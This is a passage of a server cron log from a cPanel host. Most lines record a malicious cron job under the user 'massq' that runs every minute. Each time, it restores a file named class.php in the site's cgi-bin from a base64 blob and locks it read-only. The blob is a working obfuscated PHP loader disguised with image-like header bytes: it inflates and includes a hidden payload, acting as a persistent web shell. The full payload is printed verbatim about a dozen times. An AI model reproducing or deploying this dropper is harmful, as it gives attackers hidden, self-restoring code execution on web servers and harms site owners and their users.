&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:20:01 server CROND[8809]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 09:20:01 server CROND[8812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:20:01 server CROND[8811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:20:01 server CROND[8816]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 09:20:01 server CROND[8817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:21:01 server CROND[9832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:22:01 server CROND[10621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:23:01 server CROND[11529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:24:01 server CROND[12427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:25:01 server CROND[13288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:25:01 server CROND[13290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:25:01 server CROND[13289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:26:01 server CROND[13624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:27:01 server CROND[14413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:27:01 server CROND[14414]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 09:28:01 server CROND[15273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:29:02 server CROND[16224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:30:01 server CROND[16723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:30:01 server CROND[16724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 09:30:01 server CROND[16725]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:30:01 server CROND[16726]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:31:01 server CROND[17621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
